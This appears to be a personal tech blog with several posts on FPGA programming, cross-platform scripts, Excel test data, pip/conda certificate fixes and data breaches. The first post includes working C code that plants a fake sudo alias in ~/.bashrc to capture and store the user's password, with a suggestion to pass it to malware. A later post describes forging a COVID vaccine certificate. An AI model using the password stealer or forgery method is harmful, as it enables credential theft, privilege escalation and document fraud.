Bash aliases can be dangerous! A demonstration

Consider the file .bashrc. Normally, it’s permissions are set as thus:
-rw-r--r-- 1 ghostdog ghostdog 913 Feb 12 07:55 .bashrc
Decoding this, means:
Owner can write (so our default user)
Everyone else can only read

So what would happen if we ran a malicious application that affects our bashrc file?
Consider the following simple C program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h> 


int main(int argc, char const *argv[])
{

FILE *fp;
char *filename = "/home/ghostdog/.bashrc";
char* stealer = "alias sudo=\'fakesudo\'\nfunction fakesudo (){\n read -sp \"[sudo] password for ${USER}: \" pass;\n cat <<< $pass > yourpassword.txt; \n out=`\\sudo -p \"\" -S <<< $pass $@` \n printf \"\\n${out}\\n\"; \n}";


fp = fopen(filename, "a");

fprintf(fp, "%s\n", stealer);
fclose(fp);

return 0;
}

Which writes the following to our bashrc (commends added for clarity):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
alias sudo='fakesudo'
function fakesudo (){
read -sp "[sudo] password for ${USER}: " pass; # read our passwd
#cat <<< $pass > yourpassword.txt; # Output our grabbed passwd to a file

out=`\sudo -p "" -S <<< $pass $@` # here we use a backslash to avoid recursively calling our own function, and the <<< as a 'here' string for
# our grabbed passwd, as well as our function args using $@ to grab all of them
# we also add the `-p ""` option as to avoid giving the prompt twice, which would give us away



printf "\n${out}\n"; # here we use printf to avoid dealing with echo's inconsistancy, and insert newlines to make the output look normal
}

When the victim runs ANY command that involves the standard util sudo, it will now record their password to the file yourpassword.txt in the current working directory. If desired, you could clearly do much more than just simply write the password, like passing this root level access to your malicious executable. E.g:

1
/bin/mymalware "--root-password=${pass}"

or similar.

If we were being really nasty, we could even write the change to multiple bash startup files, as bash does not check the .bashrc file for non login shells.
Tables of what files bash checks on startup, archwiki

Image credit: ArchWiki, Table colours added by user Alad on 16 Aug 2015, oldid=391339. Initial table also by Alad, oldid=335790.

This method of exploitation, as far as i am aware, has not been exploited, despite wide access to the bashrc file being common for default installations (it would be interesting to see if openbsd fixed this years ago, which I heavily suspect to be the case). And while users could just use \sudo every single time, I doubt anybody is doing that!
The advantage of this method, over something like replacing a binary, is that it is using expected and normal tools, thus it is very unlikely to trip an anti-virus or set off any red flags should someone hash their binaries to check them.

Mitigation of this is left as an exercise for the reader ;-)

AHM health insurance hacked!

In a new twist, AHM, one of the largest health providers in australia, has apparently been hacked!
In an email sent out to customers this morning, they updated us on a situation where hackers compromised information stored by AHM.
The effected information is supposedly the following:

First and last names
Addresses
Date of birth
Medicare Numbers
Policy Numbers
Phone Numbers
“Some” claims data

AHM also included in the email that they are currently verifying the other supposedly leaked information, including “data related to credit card security”, an extremely vauge wording, probably on purpose.

This, coming off the back of the infamous Optus hack, shows just how vulnerable even large players in the market are to cyberattacks, and how much it can effect them.
Of particular concern, is the fact that this information is more than enough to take out things like a payday loan, or other financial credit, possibly opening up the field to indentify theft.
It will be interesting to see further development with this, and if this attack is as “””sophisticated””” as the Optus hack (that being, that they just left the back door open)

This doesn’t look good for AHM, but i’ll keep this blog updated with information.

P.S: Here are the direct emails for anyone interested!
First email
Second email

Cross-Platform Scripting!

So I wanted to make a script that could be ran on both windows and unix based systems to help with distributing things on multiple platforms, all in 1 script without any changes to said script.

To do this, I first tried to use the “ErrorActionPreference” enviromental variable.

1
2
3
4
5
6
7
8
#!/bin/bash
$ErrorActionPreference='SilentlyContinue' # We exploit that this has no meaning in a unix enviroment, but does in the windows powershell
# Bash script here
cal
# This will (obviously) throw an error on windows, but since we silently continue, it executes the below on windows without error
# but stops due to error on linux
New-Item -Path 'C:\Users\ghostdog\Desktop\Test.txt' -ItemType File

At first, this seems to work, however, if we look at any command that is shared between the operating systems, we can see this fails, such as the following:

1
2
3
4
5
6
7
#!/bin/bash
$ErrorActionPreference='SilentlyContinue'

cal
echo "This should only execute on unix!"

New-Item -Path 'C:\Users\ghostdog\Desktop\Test.txt' -ItemType File

This, obviously, leads to powershell outputting that echo.

My first thought to fix this, would be to simply modify the third and forth line to cal && echo "Unix!", but, that seems to throw an error not caught by the powershell enviroment variable we set earlier in some versions. To fix this, i need a universal logical AND.

This, however, proved to be futile, as there was a much simpler solution:

1
2
3
4
5
:; echo "I'm on unix!!!" #
:; echo "I'm on unix!!!" #
ECHO OFF
ECHO Hi Windows
PAUSE

Or even better:

1
2
3
4
::; echo "Unix!" ; exit
ECHO OFF
ECHO Hi
PAUSE

We then save this as a batch file, and when we execute it on unix, it says “Unix!” but on windows, simply says “Hi”.

FPGA Holidays Adventures

Hello! Long time no write… Guess who forgot to upload their finished blog posts in the correct format?

With the school holidays wrapping up in 2 days, I thought I might cover what I did for fun over the 3 week break I got.
I decided to get into the world of fpga programming!

An fpga (field programmable gate array) is a close relative to the cpu, with a key small difference.
While a cpu has a set pattern of logic gates constructed at the factory using a laser to etch into silicon, an fpga can change it’s gates depending on what you want.

This makes it incredibly pansexual useful for anything in the realm of digital electronics.
For example, it can be any logic gate, a gpu, a cpu, a video encoder, a tool to mine bitcoin, and more.

In this post, I’ll go over the details of the process I went through to program this little bugger, and how to replace the default blinking an led Green with a new exciting color: Blue! (And slightly faster).

First, let’s install the iceprog cmd line tools, as per their documentation:

1
2
3
4
git clone https://github.com/YosysHQ/icestorm.git icestorm
cd icestorm
make -j$(nproc)
sudo make install

(This assumes you already have the dependancies installed)

Alternatively, if on arch linux, simply yay install icestorm-git, arachne-pnr-git, and yosys-git

Then run:

1
2
3
git clone https://github.com/FPGAwars/toolchain-icesprog.git
cd toolchain-icesprog
./build.sh linux_x86_64 # Assuming you are on 64 bit linux

If this errors out, do the following:

1
2
3
4
wget https://github.com/FPGAwars/tools-oss-cad-suite/releases/download/v0.0.8/tools-oss-cad-suite-linux_x86_64-0.0.8.tar.gz
tar -xzvf tools-oss-cad-suite-linux_x86_64-0.0.8.tar.gz
sudo cp -n * /bin/
sudo cp -n -r * /usr/

After this, you should be able to run icesprog --help to display the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
usage: /usr/libexec/icesprog [OPTION] [FILE]
-w | --write write spi-flash or gpio
-r | --read read spi-flash or gpio
-e | --erase erase spi-flash
-p | --probe probe spi-flash
-o | --offset spi-flash offset
-l | --len len of write/read
-g | --gpio icelink gpio write/read
-m | --mode icelink gpio mode
-j | --jtag-sel jtag interface select (1 or 2)
-c | --clk-sel clk source select (1 to 4)
-h | --help display help info

-- version 1.1b --

Hurrah!
Now, if you run icesprog -r it will error out, saying iCELink open fail!

If we look at the iceSugar-Pro github issues page, we get nothing.
But, if we look at the model before it, we do!
This is on macos, but, macos is still unix based. Lets see if it fixes things…

After this, we can compile our program.
Now we need to upload it.
To install the tools for this, simply run:

1
2
3
4
5
6
7
8
git clone https://github.com/ntfreak/openocd.git
cd openocd
git submodule init
git submodule update
./bootstrap
./configure --enable-cmsis-dap
make -j
sudo make install

Then, by using the fancy pants “drag and drop” programming that this dev board supports, we can simply plug the board into our computer, and then drag and drop our compiled file.

Next, lets make our first program.
I’ll be using verilog as it’s a more gentle learning curve

To program our fpga, we use 2 files:

  • The .v file, this contains our “code” we want to execute
  • The .lpf file, this contains our definitions for what pins do what, for example, saying that led_o is actually pin B11.

So, lets go over our v file first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
module blink (
input clk_i, // our input clock signal for keeping time, this is defined in our lpf file, it's 25MHz
output reg led_o // Our output for our led, reg is the only type we can use for outputs, and is similar in concept to a flipflop
);
localparam MAX = 2_500_000;
localparam WIDTH = $clog2(MAX);

// Initialise 2 variables as wires, think of these as point a to point b connections, kind of like a literal copper wire
wire rst_s;
wire clk_s;

assign clk_s = clk_i; // We are taking our input (clk_i) and giving it's value to clk_s
//pll_12_16 pll_inst (.clki(clk_i), .clko(clk_s), .rst(rst_s));
rst_gen rst_inst (.clk_i(clk_s), .rst_i(1'b0), .rst_o(rst_s));

reg [WIDTH-1:0] cpt_s;
wire [WIDTH-1:0] cpt_next_s = cpt_s + 1'b1;

wire end_s = cpt_s == MAX-1;

always @(posedge clk_s) begin
cpt_s <= (rst_s || end_s) ? {WIDTH{1'b0}} : cpt_next_s;

if (rst_s)
led_o <= 1'b0;
else if (end_s)
led_o <= ~led_o; // Invert the current value of led_o
end
endmodule

Next, lets cover our lpf file:

1
2
3
4
5
6
7
8
9
10
11
12

LOCATE COMP "clk_i" SITE "P6"; // As per the documentation, this pin gets our on-board oscillator!
IOBUF PORT "clk_i" IO_TYPE=LVCMOS33;
FREQUENCY PORT "clk_i" 25 MHZ; // We have 25MHz, so make sure the compiler knows that


// Uncomment the following for various led colors, detailed on the front page of the fpga documentaion
//LOCATE COMP "led_o" SITE "A11";
LOCATE COMP "led_o" SITE "B11";
//LOCATE COMP "led_o" SITE "A12";

IOBUF PORT "led_o" IO_TYPE=LVCMOS25;

To upload this, we drag and drop our 2 output files from compiling into the emulated usb storage device.
The current LED blinking program should halt (the large white body rgb led blinking Green), and then a small red led near the usb port should flash, that means that our program is now getting put into the flash memory of the board, meaning it will persist on our next reboot.

After this, simply hit the reset button (in the middle of the rgb led and usb-c port), and tada!

IMPORTANT NOTE

TO PROGRAM, DO NOT USE THE USB-C PROVIDED IN THE BREAKOUT (GREEN) BOARD, AS THIS WILL NOT UPLOAD OUR FILES AND ERROR OUT SILENTLY

INSTEAD, UNPLUG THE ENTIRE MODULE FROM THE BREAKOUT BOARD, AND CONNECT YOUR USB CABLE TO THE PORT ON THAT.

Now as a fun exercise for the reader, try adjusting the speed of the blinking LED.
For the sake of being able to replicate things; I’ll include my makefile, basically ripped of the documentation, minus a small inconvenience:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TARGET=blink_slow
TOP=blink_slow

OBJS+=blink.v rst_gen.v

all: ${TARGET}.bit

$(TARGET).json: $(OBJS)
yosys -p "synth_ecp5 -json $@" $(OBJS)

$(TARGET)_out.config: $(TARGET).json
nextpnr-ecp5 --25k --package CABGA256 --speed 6 --json $< --textcfg $@ --lpf $(TARGET).lpf --freq 65

$(TARGET).bit: out.config
ecppack --svf ${TARGET}.svf $< $@

${TARGET}.svf : ${TARGET}.bit

prog: ${TARGET}.svf
openFPGALoader -c digilent_hs2 $(TARGET).bit

clean:
rm -f *.svf *.bit *.ys

.PHONY: prog clean

And my config file (which i have named out.config) is straight from the github page here.

I’m planning another project involving this fpga, one thats more challenging than anything i’ve really ever programmed, so hopefully that goes well!

See ya round - GhostDog

Creating executables on MacOS from a bash (.sh) script

Sometimes I have the issue of needing to make a portable, easy to use solution for executing a bash script.
Of course I could simply do chmod +x file.sh, but that would require the user to go into the terminal and enter a command (goodness forbid).
To fix this, there exists a tool called shc. I’ll be covering instructions for compiling on a mac, for macs due to that being what I most often have access to.
To start off, install shc with homebrew:
brew install shc
If your cmd line complains about brew not veing a command, simple enter this first:

1
NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

This will install the brew package manager for macos. To use it, just use the command “brew”.
Once you’ve installed brew and shc, create your sh file:

1
2
3
4
5
touch test.sh
# Add content
nano test.sh
# make it executable
chmod +x test.sh

At this stage i’d suggest testing it (sh ./test.sh) and making sure you have a shebang to ensure it works well portably.
Next, generate your executable with shc -f test.sh (Where test.sh is your sh file) and it will make 2 new files:

  • test.sh.x
  • test.sh.c
    The first being your new executable, the second being your C source code.
    Next I like to rename it to remove the extension (Don’t worry, it will still work fine without it, as it doesn’t depend on the extension) just by doing mv test.sh.x test and now you have your executable shell file!

Generating large amounts of 'dummy' data in excel

Often I come across the following problem when designing a database:

I need to test my queries, but to do that, I need some data. Sometimes large amounts in order to properly test them.

Now I could enter all of my data manually, but if I have many fields, or need a lot of diversity in my data, that will take forever.

The solution: Excel!

Let’s instead generate our data by using excel and excel formulas. For this demonstration, i will be using the following data dictionary:

ID first_name last_name called_by_first email postcode gender DOB
AutoValue INT Text [VARCHAR[ Text [VARCHAR] Yes/No [Boolean] Text [VARCHAR] Int Char Date

The ID is easy, we can just use an incrementinfg number.

First name is where it starts to get harder… To do this, I’ve actually made a custom webpage that generates any amount of space seporated names as you want! (Although >1000 names tends to lag your computer).

Then I use the “text to columns” tool in excel (Under Data>Text to columns>Delimited>Tick the “Space” option) to seporate into the first_name and last_name fields.

Next, to generate a random “Yes/No” answer, I used excels =CHOOSE formula, which, given a number, chooses between options. For example, =CHOOSE(1, YES, NO) would give us “Yes” and a 2 would give us “No”.

This gives us our next function:=CHOOSE(RANDBETWEEN(1,2), YES, NO), which randomly gives us either yes or no.

Next, our email. To do this, I made a nieve approach. To do this, i simply used the concat function=CONCAT(B2, C2, RANDBETWEEN(10, 99), "@example.gov.au")

Where B2 is our first name, and C2 our last.

The postcode is very simple, as we can just use =RANDBETWEEN(3000, 3999) (This is the range for victorian postcodes).

Gender, once again, is fairly simple, and similar to the called_by_first solution:

=CHOOSE(RANDBETWEEN(1,3), "M", "F", "O")

Finally, our most challenging field (in my opinion), the date. This is difficult because base demands we must format it with padded zero’s (e.g. not 3/4/2022 but 03/04/2022).

For our day, we can use the following:

=TEXT(RANDBETWEEN(1, 28), REPT("0", 2))

Which says: Join a random number with enough zero’s to make it 2 digits wide.

We can repeat this for the month: =TEXT(RANDBETWEEN(1, 12), REPT("0", 2))

And the year is fairly simple: =RANDBETWEEN(1900, 2012)

Then, we join all of these, making this monster of a formula:

=CONCAT(TEXT(RANDBETWEEN(1, 28), REPT("0", 2)), "/", TEXT(RANDBETWEEN(1, 12), REPT("0", 2)), "/", RANDBETWEEN(1900, 2012))    

Now obviously this has a few holes, such as not including > 28th day of any months, but this is perfectly fine for a bit of “filler” data.

So, to recap, this is our final formula set:

first_name last_name called by first email postcode Gender DOB
generator into text to columns Split first name =CHOOSE(RANDBETWEEN(1,2), YES, NO) =CONCAT(B2, C2, RANDBETWEEN(10, 99), “@example.gov.au”)` =RANDBETWEEN(3000, 3999) =CHOOSE(RANDBETWEEN(1,3), “M”, “F”, “O”) =CONCAT(TEXT(RANDBETWEEN(1, 28), REPT(“0”, 2)), “/“, TEXT(RANDBETWEEN(1, 12), REPT(“0”, 2)), “/“, RANDBETWEEN(1900, 2012))

Geocaching Event Project

Recently, I designed a GeoCache for a “lab” event on behalf of my mother. If you don’t know what a geocache is, it’s a puzzle you hide, then give coordinates for. For this event, I aimed to simply create a technically challenging cache.

To do this, I decided to use something called a liquid crystal valve, which is basically a piece of glass you can toggle between completely black, and nearly clear.

So, all I needed was a voltage source, and an NO switch with a piece of paper behind the glass, right? Not quite…

It turns out if you intend on running this valve for more than about a minute, you create a DC bias, damaging the display, breaking it.

To fix this, I first tried to use a 555 timer circuit, however, that started to become a complication when the display wouldn’t turn off properly. (Preview of toggle glass with a 555 timer circuit available here)

To both make this smaller, and easier to wire, I simplified it a bunch. I simply connected an attiny85 with the following code to a NOT/Invert gate made with a 2N2222 transistor, connected to a reed switch (magnet activated switch) through an 18650 Li-ion battery and that was about it!

Theoretically, I could have done this all just with the microcontroller, getting the input from the reed switch, pull-down resistor, etc… But I wanted to keep it more “electronics” based for this project.

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define F_CPU 1000000 // Define the cpu clock speed to be 1mhz, so that my wait functions time for the correct time.

// Mis-calculating this can lead to some... interesting bugs...

// e.g. if clock speed is defined as "8000000", with a 1 second wait It will wait 8 seconds instead.



#include <avr/io.h> // Input and output package

#include <util/delay.h> // Package to do timing and delays



int main(){

PORTB = (1 << PB3); // Configure PB3 as output. (Screen); all others input.

while (1){

PORTB ^= (1 << PB3); // Invert the current value of PB3

_delay_ms(50/3); // Wait 16.6666 milliseconds, or 1/60 of a second, this is to generate a 60hz square wave

}

return 0; // Only reason this is here is to stop GCC from cracking it

}

Here, you can see the full setup (Spoilers!!)
Full Geocache
Yellow wires are reed switch, red and yellow go to the display, backed with a perf. board since the leads by themselves are a bit flimsy. Red and black are the battery.

Important to Note:

This project (and it’s code) is licensed under the CC BY-NC 4.0 license, a copy of which is available here. To summerise:

You are free to:
Share — copy and redistribute the material in any medium or format
Adapt — remix, transform, and build upon the material

Under the following terms:
Attribution — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.

NonCommercial — You may not use the material for commercial purposes.

No additional restrictions — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.

(Summary Courtesy of the CC foundation)

Virgin Media revealed to be storing passwords in plaintext, posts password to customer

In a recent twitter thread detailing the password recovery process be twitter user _freakyclown_, the user mentioned multiple fails from the popular airline company, starting the thread with this:

1
2
3
4
Ok a thread: I have never signed into my @virginmedia account but I 
did set one up years ago but forgot all the details. I request a
password reset. The person on the phone gives me “one last chance” to
guess what email I used, I get it on the third try!

This is clearly an issue, as nobody should be granted extra tries on a password login, for any reason, as this clearly enables more brute-force attempts by bad actors, however, it gets even worse.

1
2
3
4
5
I finally get the password reset request actioned, phone 
representative tells me password will be posted to me.. ok weird but I
accept. Today the post arrives and I shit you not it’s my old
password!!!! (I remembered it on sight) So they store the password and
just posted me it!!

This is where it gets borderline illegal in some countries (namely the UK). This means that Virgin Media stores their passwords in, generously, a reversible encryption standard. This is a dream for any potential hackers, as they don’t even need to work to reverse the password hashes with a tool like hashcat, instead, they can simply export the database and be home free!! On top of this, they posted it. What. The. Hell.
This is clearly absolutely, immeasurably stupid. What’s to stop someone from intercepting that mail, opening it, taking a photo of the password, and then re-packing the envelope? Nothing.
The geniuses at Virgin Media had an excellent response to this however:

1
Posting it to you is secure, as it's illegal to open someone elses mail. ^JGS

Which is just… wow… it’s on the same level of “If someone’s assaulting you, just say no, they can’t touch you without your consent”.
What an absolute embarrassment, as even hashing without salt would be better than this…

Making a bash script to fix a minor annoyance

So, it turns out, if you try and run pip while in my schools network, it recognises a self signed ssl certificate and refuses to connect due to security concerns, forcing us to dopip install [package] --trusted-host pypi.org --trusted-host files.pythonhosted.org every single time we want to install a package, which is really annoying. So, why not fix this?

It turns out pip has a semi-universal config system, meaning that I can simply quickly shop up a script to permanently trust specific hosts. Turns out there are 3 ‘levels’ of config file (See here for the full docs), that load in this order, overwriting eachother:

  • Enviroment Variable - Always overwrites everything else
  • Global (All users on system) - Only overwrites User and Global
  • User (just the current user) - Only overwrites Site
  • Site (per enviroment) - Cannot overwrite

Now ideally, I’d write to the Enviroment Variable, to prevent a user accidently messing up the fix, however, I want this solution to work for all users, and writing to the Env Var seems to require admin permissions, so I’ll settle for the Global config file (/Library/Application Support/pip/pip.conf on MacOS).

So by simply doing

1
mkdir -p /Library/Application\ Support/pip && printf "%s\n" "[global]" "trusted-host = pypi.python.org" "               pypi.org" "               files.pythonhosted.org" > /Library/Application\ Support/pip/pip.conf || echo "Failed to create conf file, please run with root permissions and try again"

I can write the correct config options.

Lets break this down, first I do mkdir -p, making a new directory, with intermediate folders automatically being created if needed (thus the -p option). After that, if the folder creation runs successfully, print the following string:

1
2
3
4
[global]
    trusted-host = pypi.python.org
pypi.org
files.pythonhosted.org

And then output it to pip.conf (using the > redirection character), else if it fails (||), then print an error msg.

Ok, so now pip is fixed, but theres still 1 annoying issue, anaconda never likes to start up while connected to wifi, on this specific network. To figure this out, I simply opened wireshark before opening anaconda, and tried to figure out what was going wrong.

Turns out, it tries to call home to see if there are any updates avalible, however, if the server does not respond for any reason (say for example, an ssl certificate being self signed and causing an error), it has an insanely long timeout period.

So, let’s fix this!

The first thing I did, was try to see if there was any ssl documentation, turns out, there is! So, all I needed to do, was make a new certificate, append my schools self signed certificate, and I’d be home free!

Easier said than done it turns out…

First, I had to download the current, full ssl certificate, I opted to use curl for this:

curl https://curl.se/ca/cacert.pem -o $PWD/.conda.ssl.pem

After downloading it, I next had to fetch woodleighs certificate… once again, easier said than done!

To do this, I ended up using the fantastic openssl client’s feature of being able to see the certificates you send and recieve.

This is the line i came up with:

1
openssl s_client -showcerts -servername "curl.haxx.se" -connect curl.haxx.se:443 | pcregrep -M -e "----.*(\n.*){19}" | pcregrep -M -v -e "---\nServer certificate" >> $b || echo "Failed to append to new certificate"

Now, how does that work?

Getting into the openssl man page (which is STUPID long BTW), we can see the s_client option does the following:

1
2
3
4
The s_client command implements a generic SSL/TLS client which connects to a remote host using SSL/TLS.

If a connection is established with an SSL server, any data received from the server is displayed and
any key presses will be sent to the server.

So next, we add the -showcerts and -servername options, opting to connect to the curl page (ironic, I know), followed by the -connect option, specifying what port we would like to connect to in specific (443 for https).

I then pipe (|) this to a bunch of pcregrep statements, designed to filter down the last certificate, which, conveniantly, is the school one. I then append (>>) that to the certificate sheet (here, stored in the $b variable), otherwise, echo an error command.

I then copy the file to a new location for permanent storage, in particular the $HOME location, named with a dot . to make sure the file is non-visable.

I then run 2 sed commands

1
sed -i '' "s~ssl_verify: true~$c~" $HOME/$a ||  sed -i '' "s~ssl_verify: True~$c~" $HOME/$a

This repleaces the content ssl_verify: true (the default value) with the directory to my custom certificate, basically saying “use that certificate for ssl verification”. I also run another copy of this searching for a capital T in ‘true’ just be to sure.

After that, everything is patched and the follow should have been fixed:

  • Anaconda taking forever to load when connected to the internet
  • Pip Needing an overly complex install cmd (now it should just be pip install package)

I am currently investigating the occasional nature of curl to fail, ironically due to a self signed ssl certificate, although I may simply switch to wget instead to avoid this issue.

On top of that, some installations of anaconda seem to be in different places, without any rhyme or reason, and i’ll be investigating this further soon.

The full script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

# This script patches both pip and anaconda to not give self-signed cert errors while maintaining an ssl connection.
# Made by Jake Aronleigh - contact me at: ghostoverflow256@gmail.com

echo "Patching pip first"
# This patch tells the pip program to always trust the needed sites through a global config file.
# The loading order for config files is as follows:
# Path specified by the PIP_CONFIG_FILE enviroment variable (couldnt get that to work without root)
# Global - /Library/Application Support/pip/pip.conf
# User - $HOME/Library/Application Support/pip/pip.conf OR $HOME/.config/pip/pip.conf
# Site - $VIRTUAL_ENV/pip.conf

# Here I'm using the Global method. It would be better to use the PIP_CONFIG_FILE method,
# however to edit the enviroemtn variables I would need root access.
# This creates an issue of authentication, meaning I would be unable to portably pack this
# Application without giving EVERY user some sort of admin role, which is not wise.
mkdir -p /Library/Application\ Support/pip && printf "%s\n" "[global]" "trusted-host = pypi.python.org" " pypi.org" " files.pythonhosted.org" > /Library/Application\ Support/pip/pip.conf || echo "Failed to create conf file, please run with root permissions and try again"
echo "Patched pip, attempting anaconda"

# The way this patch works is it gets the file for ssl certificates, then patches in the
# woodleigh ssl certs to make sure anaconda doesn't think it's being attacked by a Man-in-the-middle attack.
b=.conda.ssl.pem
c="ssl_verify: $HOME/$b"
a=.continuum/anaconda-client/config.yaml
mv "$PWD/$b" "$PWD/old_certs/$b" || echo "Couldn't move old file, assuming this is the first time running this patch"
curl https://curl.se/ca/cacert.pem -o $PWD/$b || echo "Curl failed, couldn't get default certificate!" # This sometimes doesnt work - Why?
echo quit | openssl s_client -showcerts -servername "curl.haxx.se" -connect curl.haxx.se:443 | pcregrep -M -e "----.*(\n.*){19}" | pcregrep -M -v -e "---\nServer certificate" >> $b || echo "Failed to append to new certificate"
cp $PWD/$b $HOME/$b || echo "Failed to move the new certificate, do I have root?"
sed -i '' "s~ssl_verify: true~$c~" $HOME/$a || sed -i '' "s~ssl_verify: True~$c~" $HOME/$a || echo "Failed to write to conda config! Do I have root?"
# Here, not only is sed different on macos than linux or other bash systems,
# but it also needs the double quotes in order to expand the $b option.
# You will also notice that i have used '~' as the seporator, this is because my variables
# have slashes in them
echo "Patched Both successfully!"

Turns out the COVID-19 vaccine certificate is easily forged

So it turns out, that the vaccine certificate that is given to Australian citizens is extremely easy to forge, only requiring a basic PDF editor, like LibreOffice Draw, a completely free and open source program, to simply edit the PDF.

After loading the PDF, all a potential forgery needs to do is to format the watermark in a special way.

To showcase this, I simply decided to make my own “totally legitimate” copy:
Fake Vaccine Passport

Once again, the goverment has failed at a basic technological hurdle, as fixing this would only require that they, instead of giving a PDF, give an image, which will not preserve the layering, making it harder to edit the document.

That is of course ignoring the issue that is the fact that they also didn’t cover the most important fields with their watermark, being the DoB and name, most of the IHI, and the document number. Of course this would be verifably false by someone with access to the medicare internal systems, however given the goverments objective of only having double vaccinated people out in the public, this would only require a laughable amount of social engineering to work.